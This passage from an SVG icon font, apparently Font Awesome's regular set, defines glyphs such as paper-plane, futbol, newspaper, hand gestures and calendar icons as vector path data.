c-63.2168 38.3184 -143.578 38.3184 -206.796 0l53.4111 -53.4111c31.8457 13.5215 68.167 13.5049 99.9736 0zM84.7197 295.398c-38.3184 -63.2178 -38.3184 -143.579 0 -206.797l53.4111 53.4111c-13.5215 31.8467 -13.5059 68.168 0 99.9746z" />
    <glyph glyph-name="paper-plane" unicode="&#xf1d8;" 
d="M440 441.5c34.5996 19.9004 77.5996 -8.7998 71.5 -48.9004l-59.4004 -387.199c-2.2998 -14.5 -11.0996 -27.3008 -23.8994 -34.5c-7.2998 -4.10059 -15.4004 -6.2002 -23.6006 -6.2002c-6.19922 0 -12.3994 1.2002 -18.2998 3.59961l-111.899 46.2002l-43.8008 -59.0996
c-27.3994 -36.9004 -86.5996 -17.8008 -86.5996 28.5996v84.4004l-114.3 47.2998c-36.7998 15.0996 -40.1006 66 -5.7002 85.8994zM192 -16l36.5996 49.5l-36.5996 15.0996v-64.5996zM404.6 12.7002l59.4004 387.3l-416 -240l107.8 -44.5996l211.5 184.3
c14.2002 12.2998 34.4004 -5.7002 23.7002 -21.2002l-140.2 -202.3z" />
    <glyph glyph-name="futbol" unicode="&#xf1e3;" horiz-adv-x="496" 
d="M483.8 268.6c42.2998 -130.199 -29 -270.1 -159.2 -312.399c-25.5 -8.2998 -51.2998 -12.2002 -76.6992 -12.2002c-104.5 0 -201.7 66.5996 -235.7 171.4c-42.2998 130.199 29 270.1 159.2 312.399c25.5 8.2998 51.2998 12.2002 76.6992 12.2002
c104.5 0 201.7 -66.5996 235.7 -171.4zM409.3 74.9004c6.10059 8.39941 12.1006 16.8994 16.7998 26.1992c14.3008 28.1006 21.5 58.5 21.7002 89.2002l-38.8994 36.4004l-71.1006 -22.1006l-24.3994 -75.1992l43.6992 -60.9004zM409.3 310.3
c-24.5 33.4004 -58.7002 58.4004 -97.8994 71.4004l-47.4004 -26.2002v-73.7998l64.2002 -46.5l70.7002 22zM184.9 381.6c-39.9004 -13.2998 -73.5 -38.5 -97.8008 -71.8994l10.1006 -52.5l70.5996 -22l64.2002 46.5v73.7998zM139 68.5l43.5 61.7002l-24.2998 74.2998
l-71.1006 22.2002l-39 -36.4004c0.5 -55.7002 23.4004 -95.2002 37.8008 -115.3zM187.2 1.5c64.0996 -20.4004 115.5 -1.7998 121.7 0l22.3994 48.0996l-44.2998 61.7002h-78.5996l-43.6006 -61.7002z" />
    <glyph glyph-name="newspaper" unicode="&#xf1ea;" horiz-adv-x="576" 
d="M552 384c13.2549 0 24 -10.7451 24 -24v-336c0 -13.2549 -10.7451 -24 -24 -24h-496c-30.9277 0 -56 25.0723 -56 56v272c0 13.2549 10.7451 24 24 24h42.752c6.60547 18.623 24.3896 32 45.248 32h440zM48 56c0 -4.41113 3.58887 -8 8 -8s8 3.58887 8 8v248h-16v-248z
M528 48v288h-416v-280c0 -2.7168 -0.204102 -5.38574 -0.578125 -8h416.578zM172 168c-6.62695 0 -12 5.37305 -12 12v96c0 6.62695 5.37305 12 12 12h136c6.62695 0 12 -5.37305 12 -12v-96c0 -6.62695 -5.37305 -12 -12 -12h-136zM200 248v-40h80v40h-80zM160 108v24
c0 6.62695 5.37305 12 12 12h136c6.62695 0 12 -5.37305 12 -12v-24c0 -6.62695 -5.37305 -12 -12 -12h-136c-6.62695 0 -12 5.37305 -12 12zM352 108v24c0 6.62695 5.37305 12 12 12h104c6.62695 0 12 -5.37305 12 -12v-24c0 -6.62695 -5.37305 -12 -12 -12h-104
c-6.62695 0 -12 5.37305 -12 12zM352 252v24c0 6.62695 5.37305 12 12 12h104c6.62695 0 12 -5.37305 12 -12v-24c0 -6.62695 -5.37305 -12 -12 -12h-104c-6.62695 0 -12 5.37305 -12 12zM352 180v24c0 6.62695 5.37305 12 12 12h104c6.62695 0 12 -5.37305 12 -12v-24
c0 -6.62695 -5.37305 -12 -12 -12h-104c-6.62695 0 -12 5.37305 -12 12z" />
    <glyph glyph-name="bell-slash" unicode="&#xf1f6;" horiz-adv-x="640" 
d="M633.99 -23.0195c6.91016 -5.52051 8.01953 -15.5908 2.5 -22.4902l-10 -12.4902c-5.53027 -6.88965 -15.5898 -8.00977 -22.4902 -2.49023l-598 467.51c-6.90039 5.52051 -8.01953 15.5908 -2.49023 22.4902l10 12.4902
c5.52051 6.90039 15.5898 8.00977 22.4902 2.49023zM163.53 80h182.84l61.3994 -48h-279.659c-19.1201 0 -31.9902 15.5996 -32.1006 32c-0.0498047 7.5498 2.61035 15.2598 8.61035 21.71c18.3701 19.7402 51.5703 49.6904 54.8398 140.42l45.4697 -35.5498
c-6.91992 -54.7803 -24.6895 -88.5498 -41.3994 -110.58zM320 352c-23.3496 0 -45 -7.17969 -62.9404 -19.4004l-38.1699 29.8408c19.6807 15.7793 43.1104 27.3096 69.1299 32.7197v20.8398c0 17.6699 14.3203 32 31.9805 32s31.9805 -14.3301 31.9805 -32v-20.8398
c73.46 -15.2598 127.939 -77.46 127.939 -155.16c0 -41.3604 6.03027 -70.7197 14.3398 -92.8496l-59.5293 46.54c-1.63086 13.96 -2.77051 28.8896 -2.79004 45.7295c0 0.200195 0.0595703 0.379883 0.0595703 0.580078c0 61.8604 -50.1396 112 -112 112zM320 -64
c-35.3203 0 -63.9697 28.6504 -63.9697 64h127.939c0 -35.3496 -28.6494 -64 -63.9697 -64z" />
    <glyph glyph-name="copyright" unicode="&#xf1f9;" 
d="M256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248zM256 -8c110.549 0 200 89.4678 200 200c0 110.549 -89.4678 200 -200 200c-110.549 0 -200 -89.4688 -200 -200c0 -110.549 89.4678 -200 200 -200z
M363.351 93.0645c-9.61328 -9.71289 -45.5293 -41.3965 -104.064 -41.3965c-82.4297 0 -140.484 61.4248 -140.484 141.567c0 79.1514 60.2754 139.4 139.763 139.4c55.5303 0 88.7373 -26.6201 97.5928 -34.7783c2.13379 -1.96289 3.86523 -5.9082 3.86523 -8.80762
c0 -1.95508 -0.864258 -4.87402 -1.92969 -6.51465l-18.1543 -28.1133c-3.8418 -5.9502 -11.9668 -7.28223 -17.499 -2.9209c-8.5957 6.77637 -31.8145 22.5381 -61.708 22.5381c-48.3037 0 -77.916 -35.3301 -77.916 -80.082c0 -41.5889 26.8877 -83.6924 78.2764 -83.6924
c32.6572 0 56.8428 19.0391 65.7266 27.2256c5.26953 4.85645 13.5957 4.03906 17.8193 -1.73828l19.8652 -27.1699c1.28613 -1.74512 2.33008 -4.91992 2.33008 -7.08789c0 -2.72363 -1.56055 -6.5 -3.48242 -8.42969z" />
    <glyph glyph-name="closed-captioning" unicode="&#xf20a;" 
d="M464 384c26.5 0 48 -21.5 48 -48v-288c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v288c0 26.5 21.5 48 48 48h416zM458 48c3.2998 0 6 2.7002 6 6v276c0 3.2998 -2.7002 6 -6 6h-404c-3.2998 0 -6 -2.7002 -6 -6v-276c0 -3.2998 2.7002 -6 6 -6h404z
M246.9 133.7c1.69922 -2.40039 1.5 -5.60059 -0.5 -7.7002c-53.6006 -56.7998 -172.801 -32.0996 -172.801 67.9004c0 97.2998 121.7 119.5 172.5 70.0996c2.10059 -2 2.5 -3.2002 1 -5.7002l-17.5 -30.5c-1.89941 -3.09961 -6.19922 -4 -9.09961 -1.7002
c-40.7998 32 -94.5996 14.9004 -94.5996 -31.1992c0 -48 51 -70.5 92.1992 -32.6006c2.80078 2.5 7.10059 2.10059 9.2002 -0.899414zM437.3 133.7c1.7002 -2.40039 1.5 -5.60059 -0.5 -7.7002c-53.5996 -56.9004 -172.8 -32.0996 -172.8 67.9004
c0 97.2998 121.7 119.5 172.5 70.0996c2.09961 -2 2.5 -3.2002 1 -5.7002l-17.5 -30.5c-1.90039 -3.09961 -6.2002 -4 -9.09961 -1.7002c-40.8008 32 -94.6006 14.9004 -94.6006 -31.1992c0 -48 51 -70.5 92.2002 -32.6006c2.7998 2.5 7.09961 2.10059 9.2002 -0.899414z
" />
    <glyph glyph-name="object-group" unicode="&#xf247;" 
d="M500 320h-12v-256h12c6.62695 0 12 -5.37305 12 -12v-72c0 -6.62695 -5.37305 -12 -12 -12h-72c-6.62695 0 -12 5.37305 -12 12v12h-320v-12c0 -6.62695 -5.37305 -12 -12 -12h-72c-6.62695 0 -12 5.37305 -12 12v72c0 6.62695 5.37305 12 12 12h12v256h-12
c-6.62695 0 -12 5.37305 -12 12v72c0 6.62695 5.37305 12 12 12h72c6.62695 0 12 -5.37305 12 -12v-12h320v12c0 6.62695 5.37305 12 12 12h72c6.62695 0 12 -5.37305 12 -12v-72c0 -6.62695 -5.37305 -12 -12 -12zM448 384v-32h32v32h-32zM32 384v-32h32v32h-32zM64 0v32
h-32v-32h32zM480 0v32h-32v-32h32zM440 64v256h-12c-6.62695 0 -12 5.37305 -12 12v12h-320v-12c0 -6.62695 -5.37305 -12 -12 -12h-12v-256h12c6.62695 0 12 -5.37305 12 -12v-12h320v12c0 6.62695 5.37305 12 12 12h12zM404 256c6.62695 0 12 -5.37207 12 -12v-168
c0 -6.62793 -5.37305 -12 -12 -12h-200c-6.62695 0 -12 5.37207 -12 12v52h-84c-6.62695 0 -12 5.37207 -12 12v168c0 6.62793 5.37305 12 12 12h200c6.62695 0 12 -5.37207 12 -12v-52h84zM136 280v-112h144v112h-144zM376 104v112h-56v-76
c0 -6.62793 -5.37305 -12 -12 -12h-76v-24h144z" />
    <glyph glyph-name="object-ungroup" unicode="&#xf248;" horiz-adv-x="576" 
d="M564 224h-12v-160h12c6.62695 0 12 -5.37305 12 -12v-72c0 -6.62695 -5.37305 -12 -12 -12h-72c-6.62695 0 -12 5.37305 -12 12v12h-224v-12c0 -6.62695 -5.37305 -12 -12 -12h-72c-6.62695 0 -12 5.37305 -12 12v72c0 6.62695 5.37305 12 12 12h12v24h-88v-12
c0 -6.62695 -5.37305 -12 -12 -12h-72c-6.62695 0 -12 5.37305 -12 12v72c0 6.62695 5.37305 12 12 12h12v160h-12c-6.62695 0 -12 5.37305 -12 12v72c0 6.62695 5.37305 12 12 12h72c6.62695 0 12 -5.37305 12 -12v-12h224v12c0 6.62695 5.37305 12 12 12h72
c6.62695 0 12 -5.37305 12 -12v-72c0 -6.62695 -5.37305 -12 -12 -12h-12v-24h88v12c0 6.62695 5.37305 12 12 12h72c6.62695 0 12 -5.37305 12 -12v-72c0 -6.62695 -5.37305 -12 -12 -12zM352 384v-32h32v32h-32zM352 128v-32h32v32h-32zM64 96v32h-32v-32h32zM64 352v32
h-32v-32h32zM96 136h224v12c0 6.62695 5.37305 12 12 12h12v160h-12c-6.62695 0 -12 5.37305 -12 12v12h-224v-12c0 -6.62695 -5.37305 -12 -12 -12h-12v-160h12c6.62695 0 12 -5.37305 12 -12v-12zM224 0v32h-32v-32h32zM504 64v160h-12c-6.62695 0 -12 5.37305 -12 12v12
h-88v-88h12c6.62695 0 12 -5.37305 12 -12v-72c0 -6.62695 -5.37305 -12 -12 -12h-72c-6.62695 0 -12 5.37305 -12 12v12h-88v-24h12c6.62695 0 12 -5.37305 12 -12v-12h224v12c0 6.62695 5.37305 12 12 12h12zM544 0v32h-32v-32h32zM544 256v32h-32v-32h32z" />
    <glyph glyph-name="sticky-note" unicode="&#xf249;" horiz-adv-x="448" 
d="M448 99.8936c0 -10.9746 -6.29883 -26.1797 -14.0586 -33.9404l-83.8828 -83.8818c-7.75977 -7.76074 -22.9658 -14.0596 -33.9404 -14.0596h-268.118c-26.5098 0 -48 21.4902 -48 48v351.988c0 26.5098 21.4902 48 48 48h352c26.5098 0 48 -21.4902 48 -48v-268.106z
M320 19.8936l76.1182 76.1182h-76.1182v-76.1182zM400 368h-352v-351.988h224v104c0 13.2549 10.7451 24 24 24h104v223.988z" />
    <glyph glyph-name="clone" unicode="&#xf24d;" 
d="M464 448c26.5098 0 48 -21.4902 48 -48v-320c0 -26.5098 -21.4902 -48 -48 -48h-48v-48c0 -26.5098 -21.4902 -48 -48 -48h-320c-26.5098 0 -48 21.4902 -48 48v320c0 26.5098 21.4902 48 48 48h48v48c0 26.5098 21.4902 48 48 48h320zM362 -16c3.31152 0 6 2.68848 6 6
v42h-224c-26.5098 0 -48 21.4902 -48 48v224h-42c-3.31152 0 -6 -2.68848 -6 -6v-308c0 -3.31152 2.68848 -6 6 -6h308zM458 80c3.31152 0 6 2.68848 6 6v308c0 3.31152 -2.68848 6 -6 6h-308c-3.31152 0 -6 -2.68848 -6 -6v-308c0 -3.31152 2.68848 -6 6 -6h308z" />
    <glyph glyph-name="hourglass" unicode="&#xf254;" horiz-adv-x="384" 
d="M368 400c0 -80.0996 -31.8984 -165.619 -97.1797 -208c64.9912 -42.1934 97.1797 -127.436 97.1797 -208h4c6.62695 0 12 -5.37305 12 -12v-24c0 -6.62695 -5.37305 -12 -12 -12h-360c-6.62695 0 -12 5.37305 -12 12v24c0 6.62695 5.37305 12 12 12h4
c0 80.0996 31.8994 165.619 97.1797 208c-64.9912 42.1934 -97.1797 127.436 -97.1797 208h-4c-6.62695 0 -12 5.37305 -12 12v24c0 6.62695 5.37305 12 12 12h360c6.62695 0 12 -5.37305 12 -12v-24c0 -6.62695 -5.37305 -12 -12 -12h-4zM64 400
c0 -101.621 57.3066 -184 128 -184s128 82.3799 128 184h-256zM320 -16c0 101.62 -57.3076 184 -128 184s-128 -82.3799 -128 -184h256z" />
    <glyph glyph-name="hand-rock" unicode="&#xf255;" 
d="M408.864 368.948c48.8213 20.751 103.136 -15.0723 103.136 -67.9111v-114.443c0 -15.3955 -3.08887 -30.3906 -9.18262 -44.5674l-42.835 -99.6562c-4.99707 -11.625 -3.98242 -18.8574 -3.98242 -42.3701c0 -17.6729 -14.3271 -32 -32 -32h-252
c-17.6729 0 -32 14.3271 -32 32c0 27.3301 1.1416 29.2012 -3.11035 32.9033l-97.71 85.0811c-24.8994 21.6797 -39.1797 52.8926 -39.1797 85.6338v56.9531c0 47.4277 44.8457 82.0215 91.0459 71.1807c1.96094 55.751 63.5107 87.8262 110.671 60.8057
c29.1895 31.0713 78.8604 31.4473 108.334 -0.0214844c32.7051 18.6846 76.4121 10.3096 98.8135 -23.5879zM464 186.594v114.445c0 34.29 -52 33.8232 -52 0.676758c0 -8.83594 -7.16309 -16 -16 -16h-7c-8.83691 0 -16 7.16406 -16 16v26.751
c0 34.457 -52 33.707 -52 0.676758v-27.4287c0 -8.83594 -7.16309 -16 -16 -16h-7c-8.83691 0 -16 7.16406 -16 16v40.4658c0 34.3525 -52 33.8115 -52 0.677734v-41.1436c0 -8.83594 -7.16406 -16 -16 -16h-7c-8.83594 0 -16 7.16406 -16 16v26.751
c0 34.4023 -52 33.7744 -52 0.676758v-116.571c0 -8.83203 -7.16797 -16 -16 -16c-3.30664 0 -8.01367 1.7627 -10.5068 3.93359l-7 6.09473c-3.03223 2.64062 -5.49316 8.04688 -5.49316 12.0674v0v41.2275c0 34.2148 -52 33.8857 -52 0.677734v-56.9531
c0 -18.8555 8.27441 -36.874 22.7002 -49.4365l97.71 -85.0801c12.4502 -10.8398 19.5898 -26.4463 19.5898 -42.8164v-10.2861h220v7.07617c0 13.21 2.65332 26.0791 7.88281 38.25l42.835 99.6553c2.91602 6.75391 5.28223 18.207 5.28223 25.5635v0.0488281z" />
    <glyph glyph-name="hand-paper" unicode="&#xf256;" horiz-adv-x="448" 
d="M372.57 335.359c39.9062 5.63281 75.4297 -25.7393 75.4297 -66.3594v-131.564c-0.00195312 -12.7666 -2.33008 -33.2246 -5.19531 -45.666l-30.1836 -130.958c-3.34668 -14.5234 -16.2783 -24.8125 -31.1816 -24.8125h-222.897
c-9.10352 0 -20.7793 6.01758 -26.0615 13.4316l-119.97 168.415c-21.2441 29.8203 -14.8047 71.3574 14.5498 93.1533c18.7754 13.9395 42.1309 16.2979 62.083 8.87109v126.13c0 44.0547 41.125 75.5439 82.4053 64.9834c23.8926 48.1963 92.3535 50.2471 117.982 0.74707
c42.5186 11.1445 83.0391 -21.9346 83.0391 -65.5469v-10.8242zM399.997 137.437l-0.00195312 131.563c0 24.9492 -36.5703 25.5508 -36.5703 -0.691406v-76.3086c0 -8.83691 -7.16309 -16 -16 -16h-6.85645c-8.83691 0 -16 7.16309 -16 16v154.184
c0 25.501 -36.5703 26.3633 -36.5703 0.691406v-154.875c0 -8.83691 -7.16309 -16 -16 -16h-6.85645c-8.83691 0 -16 7.16309 -16 16v188.309c0 25.501 -36.5703 26.3545 -36.5703 0.691406v-189c0 -8.83691 -7.16309 -16 -16 -16h-6.85645c-8.83691 0 -16 7.16309 -16 16
v153.309c0 25.501 -36.5713 26.3359 -36.5713 0.691406v-206.494c0 -15.5703 -20.0352 -21.9092 -29.0303 -9.2832l-27.1279 38.0791c-14.3711 20.1709 -43.833 -2.33496 -29.3945 -22.6045l115.196 -161.697h201.92l27.3252 118.551
c2.63086 11.417 3.96484 23.1553 3.96484 34.8857z" />
    <glyph glyph-name="hand-scissors" unicode="&#xf257;" 
d="M256 -32c-44.9561 0 -77.3428 43.2627 -64.0244 85.8535c-21.6484 13.71 -34.0156 38.7617 -30.3408 65.0068h-87.6348c-40.8037 0 -74 32.8105 -74 73.1406c0 40.3291 33.1963 73.1396 74 73.1396l94 -9.14062l-78.8496 18.6787
c-38.3076 14.7422 -57.04 57.4707 -41.9424 95.1123c15.0303 37.4736 57.7549 55.7803 95.6416 41.2012l144.929 -55.7568c24.9551 30.5566 57.8086 43.9932 92.2178 24.7324l97.999 -54.8525c20.9746 -11.7393 34.0049 -33.8457 34.0049 -57.6904v-205.702
c0 -30.7422 -21.4404 -57.5576 -51.7979 -64.5537l-118.999 -27.4268c-4.97168 -1.14648 -10.0889 -1.72949 -15.2031 -1.72949zM256 16.0127l70 -0.000976562c1.23633 0 3.21777 0.225586 4.42285 0.501953l119.001 27.4277
c8.58203 1.97754 14.5762 9.29102 14.5762 17.7812v205.701c0 6.4873 -3.62109 12.542 -9.44922 15.8047l-98 54.8545c-8.13965 4.55566 -18.668 2.61914 -24.4873 -4.50781l-21.7646 -26.6475c-2.65039 -3.24512 -8.20215 -5.87891 -12.3926 -5.87891
c-1.64062 0 -4.21484 0.477539 -5.74609 1.06738l-166.549 64.0908c-32.6543 12.5664 -50.7744 -34.5771 -19.2227 -46.7168l155.357 -59.7852c5.66016 -2.17773 10.2539 -8.86816 10.2539 -14.9326v0v-11.6328c0 -8.83691 -7.16309 -16 -16 -16h-182
c-34.375 0 -34.4297 -50.2803 0 -50.2803h182c8.83691 0 16 -7.16309 16 -16v-6.85645c0 -8.83691 -7.16309 -16 -16 -16h-28c-25.1221 0 -25.1592 -36.5674 0 -36.5674h28c8.83691 0 16 -7.16211 16 -16v-6.85547c0 -8.83691 -7.16309 -16 -16 -16
c-25.1201 0 -25.1602 -36.5674 0 -36.5674z" />
    <glyph glyph-name="hand-lizard" unicode="&#xf258;" horiz-adv-x="576" 
d="M556.686 157.458c12.6357 -19.4863 19.3145 -42.0615 19.3145 -65.2871v-124.171h-224v71.582l-99.751 38.7871c-2.7832 1.08203 -5.70996 1.63086 -8.69727 1.63086h-131.552c-30.8789 0 -56 25.1211 -56 56c0 48.5234 39.4766 88 88 88h113.709l18.333 48h-196.042
c-44.1123 0 -80 35.8877 -80 80v8c0 30.8779 25.1211 56 56 56h293.917c24.5 0 47.084 -12.2725 60.4111 -32.8291zM528 16v76.1709v0.0478516c0 11.7461 -5.19141 29.2734 -11.5879 39.124l-146.358 225.715c-4.44336 6.85254 -11.9707 10.9424 -20.1367 10.9424h-293.917
c-4.41113 0 -8 -3.58887 -8 -8v-8c0 -17.6445 14.3555 -32 32 -32h213.471c25.2021 0 42.626 -25.293 33.6299 -48.8457l-24.5518 -64.2812c-7.05371 -18.4658 -25.0732 -30.873 -44.8398 -30.873h-113.709c-22.0557 0 -40 -17.9443 -40 -40c0 -4.41113 3.58887 -8 8 -8
h131.552h0.0517578c7.44141 0 19.1074 -2.19238 26.041 -4.89355l99.752 -38.7881c18.5898 -7.22852 30.6035 -24.7881 30.6035 -44.7363v-23.582h128z" />
    <glyph glyph-name="hand-spock" unicode="&#xf259;" 
d="M21.0957 66.21c-26.9688 25.3818 -28.2471 67.7461 -2.87109 94.707c24.1982 25.7139 64.2881 28.2373 91.4824 5.72168l-31.04 136.509c-9.38379 41.2803 21.4336 81.0127 64.0713 81.8438c1.74414 28.9062 22.2656 54.4912 51.8818 61.2949
c36.001 8.27539 72.0176 -14.2266 80.3037 -50.2959l21.6748 -131.99l16.9014 105.25c9.02344 36.0947 45.4473 57.7021 81.25 48.75c27.3066 -6.82715 45.7061 -29.1357 49.8496 -53.9922c43.2285 0.212891 75.6436 -40.1133 65.5439 -82.5244l-31.7295 -133.41
c-0.938477 -3.94141 -1.41406 -7.99414 -1.41406 -12.0449v-36.8389v-0.00683594c0 -9.29102 -2.14355 -24.0596 -4.78516 -32.9668l-31.8145 -107.312c-4.02734 -13.585 -16.5107 -22.9043 -30.6807 -22.9043h-237.6c-7.00586 0 -16.8311 3.89648 -21.9316 8.69824z
M53.1641 128.021c-7.17969 -7.62891 -6.81543 -19.6777 0.813477 -26.8574l124.487 -117.164h219.311l28.4199 95.8613c1.86133 6.27637 2.80469 12.7793 2.80469 19.3281v36.8389c0.000976562 6.48047 1.21973 16.8574 2.71973 23.1621l31.7549 133.407
c5.83105 24.4893 -31.1445 33.25 -36.9658 8.80273l-26.9229 -113.105c-1.61523 -6.78711 -8.58887 -12.2949 -15.5645 -12.2949h-9.69434c-10.4072 0 -18.043 9.79199 -15.5225 19.8799l38.127 152.512c6.09766 24.376 -30.7607 33.6396 -36.8643 9.21777l-42.3721 -169.49
c-1.67285 -6.68945 -8.62695 -12.1191 -15.5225 -12.1191h-13.2168v0c-7.0332 0 -14.0195 5.5625 -15.5938 12.417l-45.2207 196.828c-5.64453 24.5684 -42.6572 15.9609 -37.0342 -8.50781l41.6191 -181.153c2.30078 -10.0156 -5.31738 -19.583 -15.5938 -19.583h-8.60352
h-0.000976562c-7.0498 0 -14.04 5.5791 -15.6025 12.4541l-30.3984 133.757c-5.55273 24.4395 -42.6504 16.1963 -37.0547 -8.4209l34.1299 -150.172c0.263672 -1.16309 0.397461 -2.35352 0.397461 -3.5459v-69.4795c0 -13.9941 -16.7754 -21.2432 -26.9658 -11.6523
l-53.0117 49.8936c-7.61523 7.16699 -19.6377 6.85938 -26.8564 -0.8125z" />
    <glyph glyph-name="hand-pointer" unicode="&#xf25a;" horiz-adv-x="448" 
d="M358.182 268.639c43.1934 16.6348 89.8184 -15.7949 89.8184 -62.6387v-84c-0.000976562 -4.25 -0.775391 -11.0615 -1.72754 -15.2041l-27.4297 -118.999c-6.98242 -30.2969 -33.7549 -51.7969 -64.5566 -51.7969h-178.286c-21.2588 0 -41.3682 10.4102 -53.791 27.8457
l-109.699 154.001c-21.2432 29.8193 -14.8047 71.3574 14.5498 93.1523c18.8115 13.9658 42.1748 16.2822 62.083 8.87207v161.129c0 36.9443 29.7363 67 66.2861 67s66.2861 -30.0557 66.2861 -67v-73.6338c20.4131 2.85742 41.4678 -3.94238 56.5947 -19.6289
c27.1934 12.8467 60.3799 5.66992 79.8721 -19.0986zM80.9854 168.303c-14.4004 20.2119 -43.8008 -2.38281 -29.3945 -22.6055l109.712 -154c3.43457 -4.81934 8.92871 -7.69727 14.6973 -7.69727h178.285c8.49219 0 15.8037 5.99414 17.7822 14.5762l27.4297 119.001
c0.333008 1.44629 0.501953 2.93457 0.501953 4.42285v84c0 25.1602 -36.5713 25.1211 -36.5713 0c0 -8.83594 -7.16309 -16 -16 -16h-6.85645c-8.83691 0 -16 7.16406 -16 16v21c0 25.1602 -36.5713 25.1201 -36.5713 0v-21c0 -8.83594 -7.16309 -16 -16 -16h-6.85938
c-8.83691 0 -16 7.16406 -16 16v35c0 25.1602 -36.5703 25.1201 -36.5703 0v-35c0 -8.83594 -7.16309 -16 -16 -16h-6.85742c-8.83691 0 -16 7.16406 -16 16v175c0 25.1602 -36.5713 25.1201 -36.5713 0v-241.493c0 -15.5703 -20.0352 -21.9092 -29.0303 -9.2832z
M176.143 48v96c0 8.83691 6.26855 16 14 16h6c7.73242 0 14 -7.16309 14 -16v-96c0 -8.83691 -6.26758 -16 -14 -16h-6c-7.73242 0 -14 7.16309 -14 16zM251.571 48v96c0 8.83691 6.26758 16 14 16h6c7.73145 0 14 -7.16309 14 -16v-96c0 -8.83691 -6.26855 -16 -14 -16h-6
c-7.73242 0 -14 7.16309 -14 16zM327 48v96c0 8.83691 6.26758 16 14 16h6c7.73242 0 14 -7.16309 14 -16v-96c0 -8.83691 -6.26758 -16 -14 -16h-6c-7.73242 0 -14 7.16309 -14 16z" />
    <glyph glyph-name="hand-peace" unicode="&#xf25b;" horiz-adv-x="448" 
d="M362.146 256.024c42.5908 13.3184 85.8535 -19.0684 85.8535 -64.0244l-0.0117188 -70.001c-0.000976562 -4.25 -0.775391 -11.0615 -1.72949 -15.2031l-27.4268 -118.999c-6.99707 -30.3564 -33.8105 -51.7969 -64.5547 -51.7969h-205.702
c-23.8447 0 -45.9502 13.0303 -57.6904 34.0059l-54.8525 97.999c-19.2607 34.4092 -5.82422 67.2617 24.7324 92.2178l-55.7568 144.928c-14.5791 37.8867 3.72754 80.6113 41.2012 95.6416c37.6406 15.0977 80.3691 -3.63477 95.1123 -41.9424l18.6787 -78.8496
l-9.14062 94c0 40.8037 32.8096 74 73.1396 74s73.1406 -33.1963 73.1406 -74v-87.6348c26.2451 3.6748 51.2959 -8.69238 65.0068 -30.3408zM399.987 122l-0.000976562 70c0 25.1602 -36.5674 25.1201 -36.5674 0c0 -8.83691 -7.16309 -16 -16 -16h-6.85547
c-8.83789 0 -16 7.16309 -16 16v28c0 25.1592 -36.5674 25.1221 -36.5674 0v-28c0 -8.83691 -7.16309 -16 -16 -16h-6.85645c-8.83691 0 -16 7.16309 -16 16v182c0 34.4297 -50.2803 34.375 -50.2803 0v-182c0 -8.83691 -7.16309 -16 -16 -16h-11.6328v0
c-6.06445 0 -12.7549 4.59375 -14.9326 10.2539l-59.7842 155.357c-12.1396 31.5518 -59.2842 13.4326 -46.7168 -19.2227l64.0898 -166.549c0.589844 -1.53125 1.06738 -4.10547 1.06738 -5.74609c0 -4.19043 -2.63379 -9.74219 -5.87891 -12.3926l-26.6475 -21.7646
c-7.12695 -5.81934 -9.06445 -16.3467 -4.50781 -24.4873l54.8535 -98c3.26367 -5.82812 9.31934 -9.44922 15.8057 -9.44922h205.701c8.49121 0 15.8037 5.99414 17.7812 14.5762l27.4277 119.001c0.333008 1.44629 0.501953 2.93457 0.501953 4.42285z" />
    <glyph glyph-name="registered" unicode="&#xf25d;" 
d="M256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248zM256 -8c110.549 0 200 89.4678 200 200c0 110.549 -89.4678 200 -200 200c-110.549 0 -200 -89.4688 -200 -200c0 -110.549 89.4678 -200 200 -200z
M366.442 73.791c4.40332 -7.99219 -1.37012 -17.791 -10.5107 -17.791h-42.8096h-0.0126953c-3.97559 0 -8.71582 2.84961 -10.5801 6.36035l-47.5156 89.3027h-31.958v-83.6631c0 -6.61719 -5.38281 -12 -12 -12h-38.5674c-6.61719 0 -12 5.38281 -12 12v248.304
c0 6.61719 5.38281 12 12 12h78.667c71.251 0 101.498 -32.749 101.498 -85.252c0 -31.6123 -15.2148 -59.2969 -39.4824 -73.1758c3.02148 -4.61719 0.225586 0.199219 53.2715 -96.085zM256.933 208.094c20.9131 0 32.4307 11.5186 32.4316 32.4316
c0 19.5752 -6.5127 31.709 -38.9297 31.709h-27.377v-64.1406h33.875z" />
    <glyph glyph-name="calendar-plus" unicode="&#xf271;" horiz-adv-x="448" 
d="M336 156v-24c0 -6.59961 -5.40039 -12 -12 -12h-76v-76c0 -6.59961 -5.40039 -12 -12 -12h-24c-6.59961 0 -12 5.40039 -12 12v76h-76c-6.59961 0 -12 5.40039 -12 12v24c0 6.59961 5.40039 12 12 12h76v76c0 6.59961 5.40039 12 12 12h24c6.59961 0 12 -5.40039 12 -12
v-76h76c6.59961 0 12 -5.40039 12 -12zM448 336v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40
c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48zM400 -10v298h-352v-298c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" />
    <glyph glyph-name="calendar-minus" unicode="&#xf272;" horiz-adv-x="448" 
d="M124 120c-6.59961 0 -12 5.40039 -12 12v24c0 6.59961 5.40039 12 12 12h200c6.59961 0 12 -5.40039 12 -12v-24c0 -6.59961 -5.40039 -12 -12 -12h-200zM448 336v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h48v52
c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48zM400 -10v298h-352v-298c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" />
    <glyph glyph-name="calendar-times" unicode="&#xf273;" horiz-adv-x="448" 
